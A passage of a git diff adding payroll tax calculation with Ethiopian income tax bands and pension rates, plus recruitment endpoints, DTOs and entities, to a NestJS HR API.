const run = await this.runs.findOne({ where: { id } }); + if (!run) throw new NotFoundException(`Payroll run ${id} not found`); + const scope = orgScope(actor); + if (scope && run.organizationId !== scope) { + throw new NotFoundException(`Payroll run ${id} not found`); + } + return run; + } +} diff --git a/apps/edr-hr-api/src/modules/payroll/services/tax.service.ts b/apps/edr-hr-api/src/modules/payroll/services/tax.service.ts new file mode 100644 index 000000000..4856149a4 --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/services/tax.service.ts @@ -0,0 +1,132 @@ +import { Injectable, NotFoundException } from "@nestjs/common"; +import { InjectRepository } from "@nestjs/typeorm"; +import { IsNull, LessThanOrEqual, Repository } from "typeorm"; + +import { + IncomeTaxBracket, + StatutoryRate, +} from "../entities/statutory.entity"; + +/** Two decimals, half-up. Money is never left at full float precision. */ +export const round2 = (value: number): number => + Math.round((value + Number.EPSILON) * 100) / 100; + +@Injectable() +export class TaxService { + constructor( + @InjectRepository(IncomeTaxBracket) + private readonly brackets: Repository, + @InjectRepository(StatutoryRate) + private readonly rates: Repository, + ) {} + + /** + * The bands in force on a date, lowest first. + * + * An organization's own bands win over the national set — a rare case, but the + * table allows it and silently mixing the two would produce a schedule that + * exists nowhere. + */ + async bracketsOn( + organizationId: string, + on: string, + ): Promise { + const own = await this.load(organizationId, on); + if (own.length > 0) return own; + const national = await this.load(null, on); + if (national.length === 0) { + throw new NotFoundException( + `No income tax schedule is configured for ${on}. Seed the statutory ` + + "bands before running payroll.", + ); + } + return national; + } + + /** + * Employment income tax on a taxable amount. + * + * Uses the Ethiopian `income × rate − deduction` form, where the deduction is + * precomputed per band so the result equals taxing each band separately. The + * band is the one whose range CONTAINS the income — not an accumulation — so + * an income sitting exactly on a boundary must fall in exactly one band, which + * the seed guarantees by starting each band one cent above the last. + */ + static computeTax(taxable: number, brackets: IncomeTaxBracket[]): number { + if (taxable <= 0) return 0; + + const band = brackets.find((bracket) => { + const lower = Number(bracket.lowerBound); + const upper = + bracket.upperBound === null || bracket.upperBound === undefined + ? Number.POSITIVE_INFINITY + : Number(bracket.upperBound); + return taxable >= lower && taxable <= upper; + }); + + // Above every band means the top one applies — the seed leaves its upper + // bound null, so this only fires on a misconfigured table. + const effective = band ?? brackets[brackets.length - 1]; + if (!effective) return 0; + + const tax = + taxable * Number(effective.rate) - Number(effective.deduction); + return round2(Math.max(0, tax)); + } + + /** A statutory rate by code — `PENSION_EMPLOYEE`, and so on. */ + async rateOn( + organizationId: string, + code: string, + on: string, + ): Promise { + const own = await this.rates.findOne({ + where: { organizationId, code, effectiveFrom: LessThanOrEqual(on) }, + order: { effectiveFrom: "DESC" }, + }); + if (own && TaxService.stillInForce(own, on)) return Number(own.rate); + + const national = await this.rates.findOne({ + where: { organizationId: IsNull(), code, effectiveFrom: LessThanOrEqual(on) }, + order: { effectiveFrom: "DESC" }, + }); + if (national && TaxService.stillInForce(national, on)) { + return Number(national.rate); + } + + throw new NotFoundException( + `No ${code} rate is configured for ${on}. Seed the statutory rates before ` + + "running payroll.", + ); + } + + private async load( + organizationId: string | null, + on: string, + ): Promise { + const rows = await this.brackets.find({ + where: { + organizationId: organizationId ?? IsNull(), + effectiveFrom: LessThanOrEqual(on), + }, + order: { effectiveFrom: "DESC", lowerBound: "ASC" }, + }); + + const inForce = rows.filter((row) => TaxService.stillInForce(row, on)); + if (inForce.length === 0) return []; + + // Several schedules may be on file; keep only the most recent one that had + // taken effect, or bands from two different years would be mixed together. + const latest = inForce[0].effectiveFrom; + return inForce + .filter((row) => row.effectiveFrom === latest) + .sort((a, b) => Number(a.lowerBound) - Number(b.lowerBound)); + } + + private static stillInForce( + row: { effectiveTo?: string | null }, + on: string, + ): boolean { + return !row.effectiveTo || row.effectiveTo >= on; + } +} diff --git a/apps/edr-hr-api/src/modules/payroll/statutory-payroll.ts b/apps/edr-hr-api/src/modules/payroll/statutory-payroll.ts new file mode 100644 index 000000000..73b2e0e4a --- /dev/null +++ b/apps/edr-hr-api/src/modules/payroll/statutory-payroll.ts @@ -0,0 +1,173 @@ +import { + EComponentCalculation, + EComponentType, +} from "./entities/salary-component.entity"; + +/** + * Schedule B — employment income tax bands. + * + * Seeded from **Income Tax Proclamation No. 979/2016, Art. 11**, effective from + * Hamle 1 2008 EC (8 July 2016). Tax is `income × rate − deduction`, the standard + * Ethiopian shortcut whose result equals band-by-band accumulation exactly. + * + * ⚠ VERIFY BEFORE RUNNING REAL PAYROLL. These bands have stood for years but + * Ethiopia revises them, and this codebase cannot know whether a later schedule + * is in force. That is precisely why `income_tax_brackets` is effective-dated: + * a new schedule is a row insert with a later `effective_from`, not a code + * change, and payslips for earlier months keep resolving the bands that applied + * to them. + */ +export const INCOME_TAX_BRACKETS_979_2016 = { + effectiveFrom: "2016-07-08", + statuteReference: "Proc. 979/2016 Art. 11", + bands: [ + { lowerBound: "0.00", upperBound: "600.00", rate: "0.0000", deduction: "0.00" }, + { lowerBound: "600.01", upperBound: "1650.00", rate: "0.1000", deduction: "60.00" }, + { lowerBound: "1650.01", upperBound: "3200.00", rate: "0.1500", deduction: "142.50" }, + { lowerBound: "3200.01", upperBound: "5250.00", rate: "0.2000", deduction: "302.50" }, + { lowerBound: "5250.01", upperBound: "7800.00", rate: "0.2500", deduction: "565.00" }, + { lowerBound: "7800.01", upperBound: "10900.00", rate: "0.3000", deduction: "955.00" }, + { lowerBound: "10900.01", upperBound: null, rate: "0.3500", deduction: "1500.00" }, + ], +} as const; + +/** + * Pension contributions under **Proclamation 715/2011** as amended by 908/2015, + * for employees of private organisations: 7% from the employee, 11% from the + * employer, both on basic salary only. + * + * Allowances are excluded unless the contract makes them pensionable — which is + * why `isPensionable` is a per-component flag rather than a rule in the engine. + */ +export const STATUTORY_RATES = [ + { + code: "PENSION_EMPLOYEE", + name: { am: "የጡረታ መዋጮ (ሠራተኛ)", en: "Pension contribution (employee)" }, + rate: "0.0700", + effectiveFrom: "2011-06-24", + statuteReference: "Proc. 715/2011 Art. 10", + }, + { + code: "PENSION_EMPLOYER", + name: { am: "የጡረታ መዋጮ (አሠሪ)", en: "Pension contribution (employer)" }, + rate: "0.1100", + effectiveFrom: "2011-06-24", + statuteReference: "Proc. 715/2011 Art. 10", + }, +] as const; + +/** + * A starting catalogue of components. + * + * BASIC, income tax and both pension sides are the ones the engine needs by + * code; the allowances are ordinary examples an employer will edit or replace. + * + * The transport allowance carries the partial exemption that catches people out: + * exempt up to the LOWER of 2,200 birr and a quarter of basic salary, the excess + * taxable. Expressed as two columns rather than a special case in the engine. + */ +export const STATUTORY_SALARY_COMPONENTS = [ + { + code: "BASIC", + name: { am: "መሠረታዊ ደመወዝ", en: "Basic salary" }, + componentType: EComponentType.BASIC, + calculation: EComponentCalculation.FIXED, + isTaxable: true, + isPensionable: true, + affectsNetPay: true, + sortOrder: 10, + statuteReference: null, + }, + { + code: "TRANSPORT", + name: { am: "የትራንስፖርት አበል", en: "Transport allowance" }, + componentType: EComponentType.ALLOWANCE, + calculation: EComponentCalculation.FIXED, + isTaxable: true, + isPensionable: false, + // The lower of the two applies. + taxExemptAmount: "2200.00", + taxExemptRateOfBasic: "0.2500", + affectsNetPay: true, + sortOrder: 20, + statuteReference: "Directive 21/2001 Art. 3", + }, + { + code: "HOUSING", + name: { am: "የቤት አበል", en: "Housing allowance" }, + componentType: EComponentType.ALLOWANCE, + calculation: EComponentCalculation.FIXED, + isTaxable: true, + isPensionable: false, + affectsNetPay: true, + sortOrder: 30, + statuteReference: null, + }, + { + code: "POSITION", + name: { am: "የኃላፊነት አበል", en: "Position allowance" }, + componentType: EComponentType.ALLOWANCE, + calculation: EComponentCalculation.PERCENT_OF_BASIC, + isTaxable: true, + isPensionable: false, + affectsNetPay: true, + sortOrder: 40, + statuteReference: null, + }, + { + code: "OVERTIME", + name: { am: "የትርፍ ሰዓት ክፍያ", en: "Overtime" }, + componentType: EComponentType.ALLOWANCE, + // Computed by the engine from approved overtime claims, not from a figure + // typed into a structure. + calculation: EComponentCalculation.STATUTORY, + isTaxable: true, + isPensionable: false, + affectsNetPay: true, + sortOrder: 50, + statuteReference: "Proc. 1156/2019 Art. 68", + }, + { + code: "INCOME_TAX", + name: { am: "የገቢ ግብር", en: "Employment income tax" }, + componentType: EComponentType.DEDUCTION, + calculation: EComponentCalculation.STATUTORY, + isTaxable: false, + isPensionable: false, + affectsNetPay: true, + sortOrder: 60, + statuteReference: "Proc. 979/2016 Art. 11", + }, + { + code: "PENSION_EMPLOYEE", + name: { am: "የጡረታ መዋጮ (ሠራተኛ)", en: "Pension (employee 7%)" }, + componentType: EComponentType.DEDUCTION, + calculation: EComponentCalculation.STATUTORY, + isTaxable: false, + isPensionable: false, + affectsNetPay: true, + sortOrder: 70, + statuteReference: "Proc. 715/2011 Art. 10", + }, + { + code: "PENSION_EMPLOYER", + name: { am: "የጡረታ መዋጮ (አሠሪ)", en: "Pension (employer 11%)" }, + componentType: EComponentType.EMPLOYER_CONTRIBUTION, + calculation: EComponentCalculation.STATUTORY, + isTaxable: false, + isPensionable: false, + // An employer cost, reported but never taken off the employee's net pay. + affectsNetPay: false, + sortOrder: 80, + statuteReference: "Proc. 715/2011 Art. 10", + }, +] as const; + +/** Codes the engine resolves by name. Renaming one breaks the calculation. */ +export const RESERVED_CODES = { + basic: "BASIC", + incomeTax: "INCOME_TAX", + pensionEmployee: "PENSION_EMPLOYEE", + pensionEmployer: "PENSION_EMPLOYER", + overtime: "OVERTIME", +} as const; diff --git a/apps/edr-hr-api/src/modules/recruitment/controllers/recruitment.controller.ts b/apps/edr-hr-api/src/modules/recruitment/controllers/recruitment.controller.ts new file mode 100644 index 000000000..81241fd5b --- /dev/null +++ b/apps/edr-hr-api/src/modules/recruitment/controllers/recruitment.controller.ts @@ -0,0 +1,305 @@ +import { + Body, + Controller, + Get, + Param, + ParseIntPipe, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiQuery, + ApiResponse, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { RecruitmentService } from "../services/recruitment.service"; +import { + EApplicationStage, + EOpeningStatus, +} from "../entities/recruitment.entity"; +import { + CreateApplicantDto, + CreateApplicationDto, + CreateJobOpeningDto, + CreateOfferDto, + HireFromOfferDto, + InterviewOutcomeDto, + MoveStageDto, + PublishOpeningDto, + RespondToOfferDto, + ScheduleInterviewDto, + SetOpeningStatusDto, +} from "../dto/recruitment.dto"; + +@ApiTags("recruitment") +@ApiBearerAuth() +@Controller("recruitment") +@HrStaff([ + HR_PERMS.recruitment.manageJobOpening, + HR_PERMS.recruitment.viewApplication, + HR_PERMS.recruitment.screenApplication, + HR_PERMS.recruitment.scheduleInterview, + HR_PERMS.recruitment.makeOffer, + HR_PERMS.recruitment.hire, +]) +export class RecruitmentController { + constructor(private readonly recruitment: RecruitmentService) {} + + // ── Openings ────────────────────────────────────────────────────────────── + + @Post("openings") + @HrStaff(HR_PERMS.recruitment.manageJobOpening) + @ApiOperation({ summary: "Create a vacancy" }) + createOpening( + @Body() dto: CreateJobOpeningDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.createOpening(dto, actorFrom(user)); + } + + @Get("openings") + @HrStaff(HR_PERMS.recruitment.viewApplication) + @ApiOperation({ summary: "Vacancies" }) + @ApiQuery({ name: "status", required: false, enum: EOpeningStatus }) + findOpenings( + @CurrentUser() user: TCurrentUser, + @Query("status") status?: EOpeningStatus, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + return this.recruitment.findOpenings({ status, page, limit }, actorFrom(user)); + } + + @Get("openings/:id") + @HrStaff(HR_PERMS.recruitment.viewApplication) + @ApiOperation({ summary: "One vacancy" }) + findOpening( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.findOpening(id, actorFrom(user)); + } + + @Get("openings/:id/pipeline") + @HrStaff(HR_PERMS.recruitment.viewApplication) + @ApiOperation({ + summary: "The funnel for one vacancy", + description: "Counts by stage — applied, screening, shortlisted, and so on.", + }) + pipeline( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.pipeline(id, actorFrom(user)); + } + + @Patch("openings/:id/publish") + @HrStaff(HR_PERMS.recruitment.manageJobOpening) + @ApiOperation({ + summary: "Publish a vacancy", + description: + "Refused without a closing date — an opening that never closes collects " + + "applications nobody reviews.", + }) + publish( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: PublishOpeningDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.publishOpening(id, dto.closesOn, actorFrom(user)); + } + + @Patch("openings/:id/status") + @HrStaff(HR_PERMS.recruitment.manageJobOpening) + @ApiOperation({ summary: "Hold, close or cancel a vacancy" }) + setStatus( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: SetOpeningStatusDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.setOpeningStatus(id, dto.status, actorFrom(user)); + } + + // ── Applicants and applications ─────────────────────────────────────────── + + @Post("applicants") + @HrStaff(HR_PERMS.recruitment.viewApplication) + @ApiOperation({ + summary: "Register an applicant", + description: + "Matched on phone number: someone applying to a second vacancy is the " + + "same person, and their record is updated rather than duplicated. No IAM " + + "account is created — that happens only at hire.", + }) + upsertApplicant( + @Body() dto: CreateApplicantDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.upsertApplicant(dto, actorFrom(user)); + } + + @Post("applications") + @HrStaff(HR_PERMS.recruitment.viewApplication) + @ApiOperation({ summary: "Apply to a vacancy" }) + @ApiResponse({ status: 409, description: "They already applied to this opening" }) + apply(@Body() dto: CreateApplicationDto, @CurrentUser() user: TCurrentUser) { + return this.recruitment.apply(dto, actorFrom(user)); + } + + @Get("applications") + @HrStaff(HR_PERMS.recruitment.viewApplication) + @ApiOperation({ summary: "Applications" }) + @ApiQuery({ name: "jobOpeningId", required: false }) + @ApiQuery({ name: "stage", required: false, enum: EApplicationStage }) + findApplications( + @CurrentUser() user: TCurrentUser, + @Query("jobOpeningId") jobOpeningId?: string, + @Query("stage") stage?: EApplicationStage, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + return this.recruitment.findApplications( + { jobOpeningId, stage, page, limit }, + actorFrom(user), + ); + } + + @Get("applications/:id") + @HrStaff(HR_PERMS.recruitment.viewApplication) + @ApiOperation({ summary: "One application, with its interviews" }) + findApplication( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.findApplication(id, actorFrom(user)); + } + + @Patch("applications/:id/stage") + @HrStaff(HR_PERMS.recruitment.screenApplication) + @ApiOperation({ + summary: "Move an application along, or out", + description: + "Follows a state machine; a rejection requires a reason, because " + + "candidates ask and the record is what answers them.", + }) + moveStage( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: MoveStageDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.moveStage( + id, + dto.stage, + { screeningScore: dto.screeningScore, reason: dto.reason }, + actorFrom(user), + ); + } + + // ── Interviews ──────────────────────────────────────────────────────────── + + @Post("interviews") + @HrStaff(HR_PERMS.recruitment.scheduleInterview) + @ApiOperation({ + summary: "Schedule an interview", + description: + "Scheduling the first round moves the application to INTERVIEW, so the " + + "two cannot disagree.", + }) + scheduleInterview( + @Body() dto: ScheduleInterviewDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.scheduleInterview(dto, actorFrom(user)); + } + + @Patch("interviews/:id/outcome") + @HrStaff(HR_PERMS.recruitment.scheduleInterview) + @ApiOperation({ summary: "Record how an interview went" }) + outcome( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: InterviewOutcomeDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.recordInterviewOutcome(id, dto, actorFrom(user)); + } + + // ── Offers ──────────────────────────────────────────────────────────────── + + @Post("offers") + @HrStaff(HR_PERMS.recruitment.makeOffer) + @ApiOperation({ summary: "Draft an offer" }) + createOffer(@Body() dto: CreateOfferDto, @CurrentUser() user: TCurrentUser) { + return this.recruitment.createOffer(dto, actorFrom(user)); + } + + @Get("applications/:id/offers") + @HrStaff(HR_PERMS.recruitment.makeOffer) + @ApiOperation({ summary: "Offers made on an application" }) + offers( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.offersFor(id, actorFrom(user)); + } + + @Patch("offers/:id/send") + @HrStaff(HR_PERMS.recruitment.makeOffer) + @ApiOperation({ summary: "Send a drafted offer" }) + sendOffer( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.sendOffer(id, actorFrom(user)); + } + + @Patch("offers/:id/respond") + @HrStaff(HR_PERMS.recruitment.makeOffer) + @ApiOperation({ + summary: "Record the candidate's answer", + description: + "A decline needs a reason — it is what tells you whether the salary, the " + + "timing or the role was the problem. Declining also closes the application.", + }) + respond( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: RespondToOfferDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.respondToOffer( + id, + dto.accepted, + dto.reason, + actorFrom(user), + ); + } + + @Post("offers/:id/hire") + @HrStaff(HR_PERMS.recruitment.hire) + @ApiOperation({ + summary: "Turn an accepted offer into an employee", + description: + "Uses the same hire flow HR uses for anyone else — IAM account, employee " + + "record, position assignment and HR profile in one call — then assigns the " + + "salary from the offer. The vacancy's filled count goes up, and reaching " + + "its total closes it.", + }) + @ApiResponse({ status: 201, description: "{ offer, employeeId, profileId }" }) + @ApiResponse({ status: 409, description: "This offer has already been hired" }) + hire( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: HireFromOfferDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.recruitment.hireFromOffer(id, dto, actorFrom(user), user); + } +} diff --git a/apps/edr-hr-api/src/modules/recruitment/dto/recruitment.dto.ts b/apps/edr-hr-api/src/modules/recruitment/dto/recruitment.dto.ts new file mode 100644 index 000000000..d28acada4 --- /dev/null +++ b/apps/edr-hr-api/src/modules/recruitment/dto/recruitment.dto.ts @@ -0,0 +1,398 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { + IsArray, + IsDateString, + IsEmail, + IsEnum, + IsInt, + IsNotEmpty, + IsNumber, + IsNumberString, + IsObject, + IsOptional, + IsString, + IsUUID, + Max, + MaxLength, + Min, + ValidateNested, +} from "class-validator"; + +import { LocalizedTextDto } from "../../leave/dto/leave-type.dto"; +import { + EApplicationStage, + EOpeningStatus, + EOpeningVisibility, +} from "../entities/recruitment.entity"; + +export class CreateJobOpeningDto { + @ApiProperty({ maxLength: 32, example: "VAC-2026-001" }) + @IsString() + @IsNotEmpty() + @MaxLength(32) + reference!: string; + + @ApiProperty({ type: LocalizedTextDto }) + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + title!: LocalizedTextDto; + + @ApiPropertyOptional({ type: LocalizedTextDto }) + @IsOptional() + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + description?: LocalizedTextDto; + + @ApiPropertyOptional({ + format: "uuid", + description: + "The iam.positions post being filled. Optional — a vacancy may be " + + "advertised before the post exists — but hiring needs one.", + }) + @IsOptional() + @IsUUID() + positionId?: string; + + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + unitId?: string; + + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + jobTitleId?: string; + + @ApiPropertyOptional({ default: "PERMANENT" }) + @IsOptional() + @IsString() + @MaxLength(16) + employmentType?: string; + + @ApiPropertyOptional({ default: 1, minimum: 1 }) + @IsOptional() + @IsInt() + @Min(1) + @Max(999) + openings?: number; + + @ApiPropertyOptional({ enum: EOpeningVisibility }) + @IsOptional() + @IsEnum(EOpeningVisibility) + visibility?: EOpeningVisibility; + + @ApiPropertyOptional({ minimum: 0, maximum: 60 }) + @IsOptional() + @IsInt() + @Min(0) + @Max(60) + minExperienceYears?: number; + + @ApiPropertyOptional({ maxLength: 128 }) + @IsOptional() + @IsString() + @MaxLength(128) + educationRequirement?: string; + + @ApiPropertyOptional({ example: "8000.00" }) + @IsOptional() + @IsNumberString() + salaryRangeMin?: string; + + @ApiPropertyOptional({ example: "14000.00" }) + @IsOptional() + @IsNumberString() + salaryRangeMax?: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + closesOn?: string; + + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + hiringManagerEmployeeId?: string; +} + +export class PublishOpeningDto { + @ApiPropertyOptional({ + format: "date", + description: "Required unless the opening already has one.", + }) + @IsOptional() + @IsDateString() + closesOn?: string; +} + +export class SetOpeningStatusDto { + @ApiProperty({ enum: EOpeningStatus }) + @IsEnum(EOpeningStatus) + status!: EOpeningStatus; +} + +export class CreateApplicantDto { + @ApiProperty({ type: LocalizedTextDto }) + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + fullName!: LocalizedTextDto; + + @ApiProperty({ + maxLength: 32, + description: "The identifier applicants are matched on — many have no email.", + }) + @IsString() + @IsNotEmpty() + @MaxLength(32) + phoneNumber!: string; + + @ApiPropertyOptional({ maxLength: 128 }) + @IsOptional() + @IsEmail() + email?: string; + + @ApiPropertyOptional({ enum: ["MALE", "FEMALE"] }) + @IsOptional() + @IsString() + gender?: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + dateOfBirth?: string; + + @ApiPropertyOptional({ maxLength: 64 }) + @IsOptional() + @IsString() + @MaxLength(64) + nationality?: string; + + @ApiPropertyOptional({ maxLength: 64, example: "BSc" }) + @IsOptional() + @IsString() + @MaxLength(64) + educationLevel?: string; + + @ApiPropertyOptional({ example: "5.00" }) + @IsOptional() + @IsNumberString() + yearsExperience?: string; + + @ApiPropertyOptional({ maxLength: 128 }) + @IsOptional() + @IsString() + @MaxLength(128) + currentEmployer?: string; + + @ApiPropertyOptional({ + enum: ["DIRECT", "REFERRAL", "AGENCY", "WEBSITE", "NEWSPAPER", "INTERNAL", "OTHER"], + default: "DIRECT", + }) + @IsOptional() + @IsString() + source?: string; + + @ApiPropertyOptional({ maxLength: 1024 }) + @IsOptional() + @IsString() + @MaxLength(1024) + notes?: string; +} + +export class CreateApplicationDto { + @ApiProperty({ format: "uuid" }) + @IsUUID() + jobOpeningId!: string; + + @ApiProperty({ format: "uuid" }) + @IsUUID() + applicantId!: string; + + @ApiPropertyOptional({ format: "date", description: "Defaults to today." }) + @IsOptional() + @IsDateString() + appliedOn?: string; + + @ApiPropertyOptional({ format: "uuid", description: "hr.employee_documents.id" }) + @IsOptional() + @IsUUID() + cvDocumentId?: string; + + @ApiPropertyOptional({ maxLength: 1024 }) + @IsOptional() + @IsString() + @MaxLength(1024) + notes?: string; +} + +export class MoveStageDto { + @ApiProperty({ enum: EApplicationStage }) + @IsEnum(EApplicationStage) + stage!: EApplicationStage; + + @ApiPropertyOptional({ minimum: 0, maximum: 100 }) + @IsOptional() + @IsNumber() + @Min(0) + @Max(100) + screeningScore?: number; + + @ApiPropertyOptional({ + maxLength: 256, + description: "Required when rejecting.", + }) + @IsOptional() + @IsString() + @MaxLength(256) + reason?: string; +} + +export class ScheduleInterviewDto { + @ApiProperty({ format: "uuid" }) + @IsUUID() + applicationId!: string; + + @ApiProperty({ description: "ISO instant." }) + @IsDateString() + scheduledAt!: string; + + @ApiPropertyOptional({ description: "Defaults to the next unused round." }) + @IsOptional() + @IsInt() + @Min(1) + @Max(20) + round?: number; + + @ApiPropertyOptional({ + enum: ["PHONE", "PANEL", "TECHNICAL", "WRITTEN", "PRACTICAL", "FINAL"], + default: "PANEL", + }) + @IsOptional() + @IsString() + interviewType?: string; + + @ApiPropertyOptional({ default: 60 }) + @IsOptional() + @IsInt() + @Min(5) + @Max(600) + durationMinutes?: number; + + @ApiPropertyOptional({ maxLength: 256 }) + @IsOptional() + @IsString() + @MaxLength(256) + location?: string; + + @ApiPropertyOptional({ type: [String], format: "uuid" }) + @IsOptional() + @IsArray() + @IsUUID(undefined, { each: true }) + interviewerEmployeeIds?: string[]; +} + +export class InterviewOutcomeDto { + @ApiPropertyOptional({ minimum: 0, maximum: 100 }) + @IsOptional() + @IsNumber() + @Min(0) + @Max(100) + score?: number; + + @ApiProperty({ + enum: ["ADVANCE", "HOLD", "REJECT"], + description: "Required — a completed interview with no verdict helps nobody.", + }) + @IsString() + @IsNotEmpty() + recommendation!: string; + + @ApiPropertyOptional({ maxLength: 2048 }) + @IsOptional() + @IsString() + @MaxLength(2048) + feedback?: string; +} + +export class CreateOfferDto { + @ApiProperty({ format: "uuid" }) + @IsUUID() + applicationId!: string; + + @ApiProperty({ example: "12000.00" }) + @IsNumberString() + offeredBasicSalary!: string; + + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + salaryStructureId?: string; + + @ApiPropertyOptional({ default: "PERMANENT" }) + @IsOptional() + @IsString() + @MaxLength(16) + employmentType?: string; + + @ApiProperty({ format: "date" }) + @IsDateString() + proposedStartDate!: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + probationEndDate?: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + expiresOn?: string; + + @ApiPropertyOptional({ maxLength: 1024 }) + @IsOptional() + @IsString() + @MaxLength(1024) + notes?: string; +} + +export class RespondToOfferDto { + @ApiProperty() + @IsNotEmpty() + accepted!: boolean; + + @ApiPropertyOptional({ maxLength: 256, description: "Required when declining." }) + @IsOptional() + @IsString() + @MaxLength(256) + reason?: string; +} + +export class HireFromOfferDto { + @ApiProperty({ description: "IAM username for the new account." }) + @IsString() + @IsNotEmpty() + @MaxLength(64) + username!: string; + + @ApiProperty({ description: "Falls back to the applicant's email if blank." }) + @IsString() + email!: string; + + @ApiPropertyOptional({ + format: "uuid", + description: "Overrides the opening's position, if it has none.", + }) + @IsOptional() + @IsUUID() + positionId?: string; + + @ApiPropertyOptional({ maxLength: 32 }) + @IsOptional() + @IsString() + @MaxLength(32) + employeeNumber?: string; +} diff --git a/apps/edr-hr-api/src/modules/recruitment/entities/recruitment.entity.ts b/apps/edr-hr-api/src/modules/recruitment/entities/recruitment.entity.ts new file mode 100644 index 000000000..ed7dd0c45 --- /dev/null +++ b/apps/edr-hr-api/src/modules/recruitment/entities/recruitment.entity.ts @@ -0,0 +1,427 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Column, + Entity, + Index, + JoinColumn, + ManyToOne, + OneToMany, + PrimaryGeneratedColumn, +} from "typeorm"; + +export enum EOpeningStatus { + DRAFT = "DRAFT", + OPEN = "OPEN", + ON_HOLD = "ON_HOLD", + CLOSED = "CLOSED", + CANCELLED = "CANCELLED", + /** Every seat taken. Reached automatically as hires complete. */ + FILLED = "FILLED", +} + +export enum EOpeningVisibility { + INTERNAL = "INTERNAL", + EXTERNAL = "EXTERNAL", + BOTH = "BOTH", +} + +export enum EApplicationStage { + APPLIED = "APPLIED", + SCREENING = "SCREENING", + SHORTLISTED = "SHORTLISTED", + INTERVIEW = "INTERVIEW", + OFFER = "OFFER", + HIRED = "HIRED", + REJECTED = "REJECTED", + WITHDRAWN = "WITHDRAWN", +} + +export enum EInterviewStatus { + SCHEDULED = "SCHEDULED", + COMPLETED = "COMPLETED", + CANCELLED = "CANCELLED", + NO_SHOW = "NO_SHOW", +} + +export enum EOfferStatus { + DRAFT = "DRAFT", + SENT = "SENT", + ACCEPTED = "ACCEPTED", + DECLINED = "DECLINED", + WITHDRAWN = "WITHDRAWN", + EXPIRED = "EXPIRED", +} + +/** + * A vacancy. + * + * `positionId` is a soft reference to `iam.positions` — the post being filled. + * It is optional: an organization may advertise before the post exists in the + * chart, and refusing to record that would push recruiters into a spreadsheet. + */ +@Entity({ schema: "hr", name: "job_openings" }) +@Index("idx_job_openings_status", ["organizationId", "status"]) +export class JobOpening extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "varchar", length: 32, name: "reference" }) + reference!: string; + + @Column({ type: "jsonb", name: "title" }) + title!: { am: string; en: string }; + + @Column({ type: "jsonb", name: "description", nullable: true }) + description?: { am: string; en: string } | null; + + @Column({ type: "uuid", name: "position_id", nullable: true }) + positionId?: string | null; + + @Column({ type: "uuid", name: "unit_id", nullable: true }) + unitId?: string | null; + + @Column({ type: "uuid", name: "job_title_id", nullable: true }) + jobTitleId?: string | null; + + @Column({ + type: "varchar", + length: 16, + name: "employment_type", + default: "PERMANENT", + }) + employmentType!: string; + + @Column({ type: "smallint", name: "openings", default: 1 }) + openings!: number; + + /** Incremented as hires complete; reaching `openings` closes the vacancy. */ + @Column({ type: "smallint", name: "filled", default: 0 }) + filled!: number; + + @Column({ + type: "varchar", + length: 16, + name: "status", + default: EOpeningStatus.DRAFT, + }) + status!: EOpeningStatus; + + @Column({ + type: "varchar", + length: 16, + name: "visibility", + default: EOpeningVisibility.INTERNAL, + }) + visibility!: EOpeningVisibility; + + @Column({ type: "smallint", name: "min_experience_years", nullable: true }) + minExperienceYears?: number | null; + + @Column({ + type: "varchar", + 